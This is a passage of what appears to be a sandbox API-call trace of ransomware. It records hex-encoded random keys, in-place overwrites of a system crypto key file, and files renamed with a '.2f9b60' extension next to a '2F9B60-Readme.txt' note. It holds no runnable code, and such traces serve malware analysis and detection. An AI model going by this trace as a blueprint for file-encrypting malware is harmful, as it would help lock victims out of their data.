[0124.630] sprintf (in: _Dest=0x1cda057c, _Format="%c%c" | out: _Dest="f4") returned 2 [0124.630] sprintf (in: _Dest=0x1cda057e, _Format="%c%c" | out: _Dest="75") returned 2 [0124.630] sprintf (in: _Dest=0x1cda0580, _Format="%c%c" | out: _Dest="2c") returned 2 [0124.630] sprintf (in: _Dest=0x1cda0582, _Format="%c%c" | out: _Dest="8b") returned 2 [0124.630] sprintf (in: _Dest=0x1cda0584, _Format="%c%c" | out: _Dest="42") returned 2 [0124.630] sprintf (in: _Dest=0x1cda0586, _Format="%c%c" | out: _Dest="10") returned 2 [0124.630] sprintf (in: _Dest=0x1cda0588, _Format="%c%c" | out: _Dest="73") returned 2 [0124.630] sprintf (in: _Dest=0x1cda058a, _Format="%c%c" | out: _Dest="b1") returned 2 [0124.630] sprintf (in: _Dest=0x1cda058c, _Format="%c%c" | out: _Dest="1d") returned 2 [0124.630] sprintf (in: _Dest=0x1cda058e, _Format="%c%c" | out: _Dest="43") returned 2 [0124.630] sprintf (in: _Dest=0x1cda0590, _Format="%c%c" | out: _Dest="d8") returned 2 [0124.630] sprintf (in: _Dest=0x1cda0592, _Format="%c%c" | out: _Dest="d3") returned 2 [0124.630] sprintf (in: _Dest=0x1cda0594, _Format="%c%c" | out: _Dest="58") returned 2 [0124.630] sprintf (in: _Dest=0x1cda0596, _Format="%c%c" | out: _Dest="fd") returned 2 [0124.630] sprintf (in: _Dest=0x1cda0598, _Format="%c%c" | out: _Dest="c6") returned 2 [0124.631] sprintf (in: _Dest=0x1cda059a, _Format="%c%c" | out: _Dest="32") returned 2 [0124.631] sprintf (in: _Dest=0x1cda059c, _Format="%c%c" | out: _Dest="fc") returned 2 [0124.631] sprintf (in: _Dest=0x1cda059e, _Format="%c%c" | out: _Dest="49") returned 2 [0124.631] RtlInitAnsiString (in: DestinationString=0x212bf888, SourceString="13d14239b0dff4752c8b421073b11d43d8d358fdc632fc49" | out: DestinationString="13d14239b0dff4752c8b421073b11d43d8d358fdc632fc49") [0124.631] RtlAnsiStringToUnicodeString (in: DestinationString=0x212bf858, SourceString="13d14239b0dff4752c8b421073b11d43d8d358fdc632fc49", AllocateDestinationString=1 | out: DestinationString="13d14239b0dff4752c8b421073b11d43d8d358fdc632fc49") returned 0x0 [0124.631] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1b863ce0 [0124.631] wcscat (in: _Dest=0x2027a470, _Source="13d14239b0df" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\13d14239b0df") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\13d14239b0df" [0124.631] wcscat (in: _Dest=0x2027a470, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\13d14239b0df.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\13d14239b0df.2f9b60" [0124.631] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\13d14239b0df.2f9b60", NtPathName=0x212bf830, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\13d14239b0df.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0124.631] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x107fc0 [0124.713] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x107fc0) returned 1 [0124.713] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf479b0) returned 1 [0124.713] NtQueryInformationFile (in: FileHandle=0x1030, IoStatusBlock=0x212bf898, FileInformation=0x212bf8a8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x212bf898, FileInformation=0x212bf8a8) returned 0x0 [0124.713] NtSetInformationFile (FileHandle=0x1030, IoStatusBlock=0x212bf898, FileInformation=0x212bf8a8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0124.720] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2027a470) returned 1 [0124.720] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b863ce0) returned 1 [0124.720] FlushFileBuffers (hFile=0x1030) returned 1 [0124.722] CloseHandle (hObject=0x1030) returned 1 [0124.723] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x2027a470 [0124.723] wcscpy (in: _Dest=0x2027a470, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0124.723] wcscat (in: _Dest=0x2027a470, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" [0124.724] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\2f9b60-readme.txt")) returned 0x20 [0124.724] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2027a470) returned 1 [0124.724] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a4260) returned 1 Thread: id = 1544 os_tid = 0x1a74 [0121.020] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\S-1-5-18\\6d14e4b1d8ca773bab785d1be032546e_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f" (normalized: "c:\\programdata\\microsoft\\crypto\\rsa\\s-1-5-18\\6d14e4b1d8ca773bab785d1be032546e_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f")) returned 0x2024 [0121.020] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\S-1-5-18\\6d14e4b1d8ca773bab785d1be032546e_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", dwFileAttributes=0x20) returned 1 [0122.776] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\S-1-5-18\\6d14e4b1d8ca773bab785d1be032546e_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f" (normalized: "c:\\programdata\\microsoft\\crypto\\rsa\\s-1-5-18\\6d14e4b1d8ca773bab785d1be032546e_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xfa8 [0122.777] GetFileSizeEx (in: hFile=0xfa8, lpFileSize=0x2138fb00 | out: lpFileSize=0x2138fb00*=47) returned 1 [0122.777] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050edd0 [0122.777] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050ee00 [0122.777] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050ee30 [0122.777] NtQuerySystemTime (in: CurrentTime=0x2138f9c0 | out: CurrentTime=0x2138f9c0*=132462177281614000) returned 0x0 [0122.777] RtlRandomEx (in: Seed=0x2138f9b0 | out: Seed=0x2138f9b0) returned 0xe95d41d [0122.777] RtlRandomEx (in: Seed=0x2138f9b0 | out: Seed=0x2138f9b0) returned 0x482f7f7c [0122.777] RtlRandomEx (in: Seed=0x2138f9b0 | out: Seed=0x2138f9b0) returned 0x7c130ac5 [0122.777] RtlRandomEx (in: Seed=0x2138f9b0 | out: Seed=0x2138f9b0) returned 0x52f54000 [0122.777] RtlRandomEx (in: Seed=0x2138f9b0 | out: Seed=0x2138f9b0) returned 0x101c2afd [0122.777] RtlRandomEx (in: Seed=0x2138f9b0 | out: Seed=0x2138f9b0) returned 0x6dc57cd2 [0122.777] RtlRandomEx (in: Seed=0x2138f9b0 | out: Seed=0x2138f9b0) returned 0x75a078d4 [0122.777] RtlRandomEx (in: Seed=0x2138f9b0 | out: Seed=0x2138f9b0) returned 0x3b9906d5 [0122.777] RtlRandomEx (in: Seed=0x2138f9b0 | out: Seed=0x2138f9b0) returned 0x1985021d [0122.777] RtlRandomEx (in: Seed=0x2138f9b0 | out: Seed=0x2138f9b0) returned 0x5a7a6fb5 [0122.777] RtlRandomEx (in: Seed=0x2138f9b0 | out: Seed=0x2138f9b0) returned 0x6e324a0e [0122.777] RtlRandomEx (in: Seed=0x2138f9b0 | out: Seed=0x2138f9b0) returned 0xcfc616b [0122.777] RtlRandomEx (in: Seed=0x2138f9b0 | out: Seed=0x2138f9b0) returned 0x6ca90901 [0122.777] RtlRandomEx (in: Seed=0x2138f9b0 | out: Seed=0x2138f9b0) returned 0x3b5ed780 [0122.777] RtlRandomEx (in: Seed=0x2138f9b0 | out: Seed=0x2138f9b0) returned 0x5902cd27 [0122.777] RtlRandomEx (in: Seed=0x2138f9b0 | out: Seed=0x2138f9b0) returned 0x1cf507a4 [0122.778] RtlRandomEx (in: Seed=0x2138f9b0 | out: Seed=0x2138f9b0) returned 0x229dc880 [0122.778] RtlRandomEx (in: Seed=0x2138f9b0 | out: Seed=0x2138f9b0) returned 0x382e07bc [0122.778] RtlRandomEx (in: Seed=0x2138f9b0 | out: Seed=0x2138f9b0) returned 0x300742a7 [0122.778] RtlRandomEx (in: Seed=0x2138f9b0 | out: Seed=0x2138f9b0) returned 0x32c3616b [0122.778] RtlRandomEx (in: Seed=0x2138f9b0 | out: Seed=0x2138f9b0) returned 0x7fd60680 [0122.778] RtlRandomEx (in: Seed=0x2138f9b0 | out: Seed=0x2138f9b0) returned 0x3b4956a6 [0122.778] RtlRandomEx (in: Seed=0x2138f9b0 | out: Seed=0x2138f9b0) returned 0x1efb2350 [0122.778] RtlRandomEx (in: Seed=0x2138f9b0 | out: Seed=0x2138f9b0) returned 0x3c3b8d4b [0122.778] RtlRandomEx (in: Seed=0x2138f9b0 | out: Seed=0x2138f9b0) returned 0x400254f5 [0122.778] RtlRandomEx (in: Seed=0x2138f9b0 | out: Seed=0x2138f9b0) returned 0x48f83ddd [0122.778] RtlRandomEx (in: Seed=0x2138f9b0 | out: Seed=0x2138f9b0) returned 0x68da12dd [0122.778] RtlRandomEx (in: Seed=0x2138f9b0 | out: Seed=0x2138f9b0) returned 0x520083dd [0122.778] RtlRandomEx (in: Seed=0x2138f9b0 | out: Seed=0x2138f9b0) returned 0x65800de2 [0122.778] RtlRandomEx (in: Seed=0x2138f9b0 | out: Seed=0x2138f9b0) returned 0x16577199 [0122.778] RtlRandomEx (in: Seed=0x2138f9b0 | out: Seed=0x2138f9b0) returned 0x302f7754 [0122.778] RtlRandomEx (in: Seed=0x2138f9b0 | out: Seed=0x2138f9b0) returned 0x481d38f0 [0122.784] ReadFile (in: hFile=0xfa8, lpBuffer=0x201485a0, nNumberOfBytesToRead=0x2f, lpNumberOfBytesRead=0x2138f9b0, lpOverlapped=0x0 | out: lpBuffer=0x201485a0*, lpNumberOfBytesRead=0x2138f9b0*=0x2f, lpOverlapped=0x0) returned 1 [0122.785] SetFilePointerEx (in: hFile=0xfa8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.785] WriteFile (in: hFile=0xfa8, lpBuffer=0x2013d170*, nNumberOfBytesToWrite=0x2f, lpNumberOfBytesWritten=0x2138f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2013d170*, lpNumberOfBytesWritten=0x2138f9b4*=0x2f, lpOverlapped=0x0) returned 1 [0123.035] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050dcf0 [0123.036] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050dcc0 [0123.036] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050dcc0) returned 1 [0123.036] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2013d170) returned 1 [0123.036] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201485a0) returned 1 [0123.036] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503f10) returned 1 [0123.036] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97d50) returned 1 [0123.036] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x98) returned 0x202b0ab0 [0123.036] SetFilePointerEx (in: hFile=0xfa8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0123.036] WriteFile (in: hFile=0xfa8, lpBuffer=0x1b7b1c30*, nNumberOfBytesToWrite=0x17c, lpNumberOfBytesWritten=0x2138fad0, lpOverlapped=0x0 | out: lpBuffer=0x1b7b1c30*, lpNumberOfBytesWritten=0x2138fad0*=0x17c, lpOverlapped=0x0) returned 1 [0123.087] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97d50 [0123.087] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20503f10 [0123.087] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050e320 [0123.087] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050e320) returned 1 [0123.087] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8a) returned 0x202b0dd0 [0123.087] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050e320 [0123.087] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050e2f0 [0123.087] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050e2f0) returned 1 [0123.087] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503f10) returned 1 [0123.087] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97d50) returned 1 [0123.087] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x115) returned 0x167040 [0123.087] sprintf (in: _Dest=0x167040, _Format="%c%c" | out: _Dest="ba") returned 2 [0123.088] sprintf (in: _Dest=0x167042, _Format="%c%c" | out: _Dest="30") returned 2 [0123.088] sprintf (in: _Dest=0x167044, _Format="%c%c" | out: _Dest="8d") returned 2 [0123.088] sprintf (in: _Dest=0x167046, _Format="%c%c" | out: _Dest="36") returned 2 [0123.088] sprintf (in: _Dest=0x167048, _Format="%c%c" | out: _Dest="1c") returned 2 [0123.088] sprintf (in: _Dest=0x16704a, _Format="%c%c" | out: _Dest="50") returned 2 [0123.088] sprintf (in: _Dest=0x16704c, _Format="%c%c" | out: _Dest="fe") returned 2 [0123.088] sprintf (in: _Dest=0x16704e, _Format="%c%c" | out: _Dest="16") returned 2 [0123.088] sprintf (in: _Dest=0x167050, _Format="%c%c" | out: _Dest="c0") returned 2 [0123.088] sprintf (in: _Dest=0x167052, _Format="%c%c" | out: _Dest="36") returned 2 [0123.088] sprintf (in: _Dest=0x167054, _Format="%c%c" | out: _Dest="56") returned 2 [0123.088] sprintf (in: _Dest=0x167056, _Format="%c%c" | out: _Dest="03") returned 2 [0123.088] sprintf (in: _Dest=0x167058, _Format="%c%c" | out: _Dest="4e") returned 2 [0123.088] sprintf (in: _Dest=0x16705a, _Format="%c%c" | out: _Dest="11") returned 2 [0123.088] sprintf (in: _Dest=0x16705c, _Format="%c%c" | out: _Dest="32") returned 2 [0123.088] sprintf (in: _Dest=0x16705e, _Format="%c%c" | out: _Dest="3d") returned 2 [0123.088] sprintf (in: _Dest=0x167060, _Format="%c%c" | out: _Dest="fd") returned 2 [0123.088] sprintf (in: _Dest=0x167062, _Format="%c%c" | out: _Dest="72") returned 2 [0123.088] sprintf (in: _Dest=0x167064, _Format="%c%c" | out: _Dest="60") returned 2 [0123.088] sprintf (in: _Dest=0x167066, _Format="%c%c" | out: _Dest="89") returned 2 [0123.088] sprintf (in: _Dest=0x167068, _Format="%c%c" | out: _Dest="97") returned 2 [0123.088] sprintf (in: _Dest=0x16706a, _Format="%c%c" | out: _Dest="66") returned 2 [0123.088] sprintf (in: _Dest=0x16706c, _Format="%c%c" | out: _Dest="67") returned 2 [0123.088] sprintf (in: _Dest=0x16706e, _Format="%c%c" | out: _Dest="4a") returned 2 [0123.090] sprintf (in: _Dest=0x167070, _Format="%c%c" | out: _Dest="c7") returned 2 [0123.090] sprintf (in: _Dest=0x167072, _Format="%c%c" | out: _Dest="8e") returned 2 [0123.090] sprintf (in: _Dest=0x167074, _Format="%c%c" | out: _Dest="cd") returned 2 [0123.090] sprintf (in: _Dest=0x167076, _Format="%c%c" | out: _Dest="a8") returned 2 [0123.090] sprintf (in: _Dest=0x167078, _Format="%c%c" | out: _Dest="b9") returned 2 [0123.091] sprintf (in: _Dest=0x16707a, _Format="%c%c" | out: _Dest="e2") returned 2 [0123.091] sprintf (in: _Dest=0x16707c, _Format="%c%c" | out: _Dest="0e") returned 2 [0123.091] sprintf (in: _Dest=0x16707e, _Format="%c%c" | out: _Dest="06") returned 2 [0123.091] sprintf (in: _Dest=0x167080, _Format="%c%c" | out: _Dest="a8") returned 2 [0123.091] sprintf (in: _Dest=0x167082, _Format="%c%c" | out: _Dest="14") returned 2 [0123.091] sprintf (in: _Dest=0x167084, _Format="%c%c" | out: _Dest="80") returned 2 [0123.091] sprintf (in: _Dest=0x167086, _Format="%c%c" | out: _Dest="93") returned 2 [0123.091] sprintf (in: _Dest=0x167088, _Format="%c%c" | out: _Dest="ff") returned 2 [0123.091] sprintf (in: _Dest=0x16708a, _Format="%c%c" | out: _Dest="2c") returned 2 [0123.091] sprintf (in: _Dest=0x16708c, _Format="%c%c" | out: _Dest="30") returned 2 [0123.091] sprintf (in: _Dest=0x16708e, _Format="%c%c" | out: _Dest="72") returned 2 [0123.091] sprintf (in: _Dest=0x167090, _Format="%c%c" | out: _Dest="e7") returned 2 [0123.091] sprintf (in: _Dest=0x167092, _Format="%c%c" | out: _Dest="b1") returned 2 [0123.091] sprintf (in: _Dest=0x167094, _Format="%c%c" | out: _Dest="cd") returned 2 [0123.091] sprintf (in: _Dest=0x167096, _Format="%c%c" | out: _Dest="59") returned 2 [0123.091] sprintf (in: _Dest=0x167098, _Format="%c%c" | out: _Dest="31") returned 2 [0123.091] sprintf (in: _Dest=0x16709a, _Format="%c%c" | out: _Dest="88") returned 2 [0123.091] sprintf (in: _Dest=0x16709c, _Format="%c%c" | out: _Dest="ea") returned 2 [0123.091] sprintf (in: _Dest=0x16709e, _Format="%c%c" | out: _Dest="01") returned 2 [0123.091] sprintf (in: _Dest=0x1670a0, _Format="%c%c" | out: _Dest="36") returned 2 [0123.091] sprintf (in: _Dest=0x1670a2, _Format="%c%c" | out: _Dest="2f") returned 2 [0123.091] sprintf (in: _Dest=0x1670a4, _Format="%c%c" | out: _Dest="b8") returned 2 [0123.091] sprintf (in: _Dest=0x1670a6, _Format="%c%c" | out: _Dest="81") returned 2 [0123.091] sprintf (in: _Dest=0x1670a8, _Format="%c%c" | out: _Dest="76") returned 2 [0123.091] sprintf (in: _Dest=0x1670aa, _Format="%c%c" | out: _Dest="c7") returned 2 [0123.091] sprintf (in: _Dest=0x1670ac, _Format="%c%c" | out: _Dest="dd") returned 2 [0123.091] sprintf (in: _Dest=0x1670ae, _Format="%c%c" | out: _Dest="0b") returned 2 [0123.091] sprintf (in: _Dest=0x1670b0, _Format="%c%c" | out: _Dest="10") returned 2 [0123.091] sprintf (in: _Dest=0x1670b2, _Format="%c%c" | out: _Dest="6e") returned 2 [0123.091] sprintf (in: _Dest=0x1670b4, _Format="%c%c" | out: _Dest="6a") returned 2 [0123.091] sprintf (in: _Dest=0x1670b6, _Format="%c%c" | out: _Dest="e9") returned 2 [0123.091] sprintf (in: _Dest=0x1670b8, _Format="%c%c" | out: _Dest="5e") returned 2 [0123.091] sprintf (in: _Dest=0x1670ba, _Format="%c%c" | out: _Dest="71") returned 2 [0123.092] sprintf (in: _Dest=0x1670bc, _Format="%c%c" | out: _Dest="c1") returned 2 [0123.092] sprintf (in: _Dest=0x1670be, _Format="%c%c" | out: _Dest="70") returned 2 [0123.092] sprintf (in: _Dest=0x1670c0, _Format="%c%c" | out: _Dest="77") returned 2 [0123.092] sprintf (in: _Dest=0x1670c2, _Format="%c%c" | out: _Dest="1a") returned 2 [0123.092] sprintf (in: _Dest=0x1670c4, _Format="%c%c" | out: _Dest="3a") returned 2 [0123.092] sprintf (in: _Dest=0x1670c6, _Format="%c%c" | out: _Dest="de") returned 2 [0123.092] sprintf (in: _Dest=0x1670c8, _Format="%c%c" | out: _Dest="ef") returned 2 [0123.092] sprintf (in: _Dest=0x1670ca, _Format="%c%c" | out: _Dest="e2") returned 2 [0123.092] sprintf (in: _Dest=0x1670cc, _Format="%c%c" | out: _Dest="9a") returned 2 [0123.092] sprintf (in: _Dest=0x1670ce, _Format="%c%c" | out: _Dest="46") returned 2 [0123.092] sprintf (in: _Dest=0x1670d0, _Format="%c%c" | out: _Dest="51") returned 2 [0123.092] sprintf (in: _Dest=0x1670d2, _Format="%c%c" | out: _Dest="ea") returned 2 [0123.092] sprintf (in: _Dest=0x1670d4, _Format="%c%c" | out: _Dest="04") returned 2 [0123.092] sprintf (in: _Dest=0x1670d6, _Format="%c%c" | out: _Dest="c4") returned 2 [0123.092] sprintf (in: _Dest=0x1670d8, _Format="%c%c" | out: _Dest="d0") returned 2 [0123.092] sprintf (in: _Dest=0x1670da, _Format="%c%c" | out: _Dest="9c") returned 2 [0123.092] sprintf (in: _Dest=0x1670dc, _Format="%c%c" | out: _Dest="bd") returned 2 [0123.092] sprintf (in: _Dest=0x1670de, _Format="%c%c" | out: _Dest="5d") returned 2 [0123.092] sprintf (in: _Dest=0x1670e0, _Format="%c%c" | out: _Dest="90") returned 2 [0123.092] sprintf (in: _Dest=0x1670e2, _Format="%c%c" | out: _Dest="73") returned 2 [0123.092] sprintf (in: _Dest=0x1670e4, _Format="%c%c" | out: _Dest="c3") returned 2 [0123.092] sprintf (in: _Dest=0x1670e6, _Format="%c%c" | out: _Dest="6a") returned 2 [0123.092] sprintf (in: _Dest=0x1670e8, _Format="%c%c" | out: _Dest="d3") returned 2 [0123.092] sprintf (in: _Dest=0x1670ea, _Format="%c%c" | out: _Dest="40") returned 2 [0123.092] sprintf (in: _Dest=0x1670ec, _Format="%c%c" | out: _Dest="e7") returned 2 [0123.092] sprintf (in: _Dest=0x1670ee, _Format="%c%c" | out: _Dest="5b") returned 2 [0123.092] sprintf (in: _Dest=0x1670f0, _Format="%c%c" | out: _Dest="04") returned 2 [0123.092] sprintf (in: _Dest=0x1670f2, _Format="%c%c" | out: _Dest="b3") returned 2 [0123.092] sprintf (in: _Dest=0x1670f4, _Format="%c%c" | out: _Dest="b7") returned 2 [0123.092] sprintf (in: _Dest=0x1670f6, _Format="%c%c" | out: _Dest="de") returned 2 [0123.092] sprintf (in: _Dest=0x1670f8, _Format="%c%c" | out: _Dest="2d") returned 2 [0123.092] sprintf (in: _Dest=0x1670fa, _Format="%c%c" | out: _Dest="25") returned 2 [0123.092] sprintf (in: _Dest=0x1670fc, _Format="%c%c" | out: _Dest="8c") returned 2 [0123.093] sprintf (in: _Dest=0x1670fe, _Format="%c%c" | out: _Dest="a9") returned 2 [0123.093] sprintf (in: _Dest=0x167100, _Format="%c%c" | out: _Dest="4c") returned 2 [0123.093] sprintf (in: _Dest=0x167102, _Format="%c%c" | out: _Dest="aa") returned 2 [0123.093] sprintf (in: _Dest=0x167104, _Format="%c%c" | out: _Dest="bf") returned 2 [0123.093] sprintf (in: _Dest=0x167106, _Format="%c%c" | out: _Dest="26") returned 2 [0123.093] sprintf (in: _Dest=0x167108, _Format="%c%c" | out: _Dest="ca") returned 2 [0123.093] sprintf (in: _Dest=0x16710a, _Format="%c%c" | out: _Dest="f4") returned 2 [0123.093] sprintf (in: _Dest=0x16710c, _Format="%c%c" | out: _Dest="52") returned 2 [0123.093] sprintf (in: _Dest=0x16710e, _Format="%c%c" | out: _Dest="9b") returned 2 [0123.093] sprintf (in: _Dest=0x167110, _Format="%c%c" | out: _Dest="a5") returned 2 [0123.093] sprintf (in: _Dest=0x167112, _Format="%c%c" | out: _Dest="a2") returned 2 [0123.093] sprintf (in: _Dest=0x167114, _Format="%c%c" | out: _Dest="86") returned 2 [0123.093] sprintf (in: _Dest=0x167116, _Format="%c%c" | out: _Dest="56") returned 2 [0123.093] sprintf (in: _Dest=0x167118, _Format="%c%c" | out: _Dest="f2") returned 2 [0123.093] sprintf (in: _Dest=0x16711a, _Format="%c%c" | out: _Dest="df") returned 2 [0123.093] sprintf (in: _Dest=0x16711c, _Format="%c%c" | out: _Dest="e2") returned 2 [0123.093] sprintf (in: _Dest=0x16711e, _Format="%c%c" | out: _Dest="0a") returned 2 [0123.093] sprintf (in: _Dest=0x167120, _Format="%c%c" | out: _Dest="a2") returned 2 [0123.093] sprintf (in: _Dest=0x167122, _Format="%c%c" | out: _Dest="22") returned 2 [0123.093] sprintf (in: _Dest=0x167124, _Format="%c%c" | out: _Dest="e5") returned 2 [0123.093] sprintf (in: _Dest=0x167126, _Format="%c%c" | out: _Dest="f6") returned 2 [0123.093] sprintf (in: _Dest=0x167128, _Format="%c%c" | out: _Dest="ed") returned 2 [0123.093] sprintf (in: _Dest=0x16712a, _Format="%c%c" | out: _Dest="8f") returned 2 [0123.093] sprintf (in: _Dest=0x16712c, _Format="%c%c" | out: _Dest="a1") returned 2 [0123.093] sprintf (in: _Dest=0x16712e, _Format="%c%c" | out: _Dest="fe") returned 2 [0123.093] sprintf (in: _Dest=0x167130, _Format="%c%c" | out: _Dest="76") returned 2 [0123.093] sprintf (in: _Dest=0x167132, _Format="%c%c" | out: _Dest="85") returned 2 [0123.093] sprintf (in: _Dest=0x167134, _Format="%c%c" | out: _Dest="21") returned 2 [0123.093] sprintf (in: _Dest=0x167136, _Format="%c%c" | out: _Dest="ab") returned 2 [0123.093] sprintf (in: _Dest=0x167138, _Format="%c%c" | out: _Dest="61") returned 2 [0123.093] sprintf (in: _Dest=0x16713a, _Format="%c%c" | out: _Dest="b4") returned 2 [0123.093] sprintf (in: _Dest=0x16713c, _Format="%c%c" | out: _Dest="0b") returned 2 [0123.093] sprintf (in: _Dest=0x16713e, _Format="%c%c" | out: _Dest="ad") returned 2 [0123.093] sprintf (in: _Dest=0x167140, _Format="%c%c" | out: _Dest="ba") returned 2 [0123.094] sprintf (in: _Dest=0x167142, _Format="%c%c" | out: _Dest="46") returned 2 [0123.094] sprintf (in: _Dest=0x167144, _Format="%c%c" | out: _Dest="67") returned 2 [0123.094] sprintf (in: _Dest=0x167146, _Format="%c%c" | out: _Dest="47") returned 2 [0123.094] sprintf (in: _Dest=0x167148, _Format="%c%c" | out: _Dest="87") returned 2 [0123.094] sprintf (in: _Dest=0x16714a, _Format="%c%c" | out: _Dest="e3") returned 2 [0123.094] sprintf (in: _Dest=0x16714c, _Format="%c%c" | out: _Dest="51") returned 2 [0123.094] sprintf (in: _Dest=0x16714e, _Format="%c%c" | out: _Dest="7b") returned 2 [0123.094] sprintf (in: _Dest=0x167150, _Format="%c%c" | out: _Dest="32") returned 2 [0123.094] sprintf (in: _Dest=0x167152, _Format="%c%c" | out: _Dest="af") returned 2 [0123.094] RtlInitAnsiString (in: DestinationString=0x2138fb48, SourceString="ba308d361c50fe16c03656034e11323dfd7260899766674ac78ecda8b9e20e06a8148093ff2c3072e7b1cd593188ea01362fb88176c7dd0b106e6ae95e71c170771a3adeefe29a4651ea04c4d09cbd5d9073c36ad340e75b04b3b7de2d258ca94caabf26caf4529ba5a28656f2dfe20aa222e5f6ed8fa1fe768521ab61b40badba46674787e3517b32af" | out: DestinationString="ba308d361c50fe16c03656034e11323dfd7260899766674ac78ecda8b9e20e06a8148093ff2c3072e7b1cd593188ea01362fb88176c7dd0b106e6ae95e71c170771a3adeefe29a4651ea04c4d09cbd5d9073c36ad340e75b04b3b7de2d258ca94caabf26caf4529ba5a28656f2dfe20aa222e5f6ed8fa1fe768521ab61b40badba46674787e3517b32af") [0123.094] RtlAnsiStringToUnicodeString (in: DestinationString=0x2138fb18, SourceString="ba308d361c50fe16c03656034e11323dfd7260899766674ac78ecda8b9e20e06a8148093ff2c3072e7b1cd593188ea01362fb88176c7dd0b106e6ae95e71c170771a3adeefe29a4651ea04c4d09cbd5d9073c36ad340e75b04b3b7de2d258ca94caabf26caf4529ba5a28656f2dfe20aa222e5f6ed8fa1fe768521ab61b40badba46674787e3517b32af", AllocateDestinationString=1 | out: DestinationString="ba308d361c50fe16c03656034e11323dfd7260899766674ac78ecda8b9e20e06a8148093ff2c3072e7b1cd593188ea01362fb88176c7dd0b106e6ae95e71c170771a3adeefe29a4651ea04c4d09cbd5d9073c36ad340e75b04b3b7de2d258ca94caabf26caf4529ba5a28656f2dfe20aa222e5f6ed8fa1fe768521ab61b40badba46674787e3517b32af") returned 0x0 [0123.094] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x22a) returned 0xdef20 [0123.094] wcscat (in: _Dest=0x1b772eb0, _Source="ba308d361c50fe16c03656034e11323dfd7260899766674ac78ecda8b9e20e06a8148" | out: 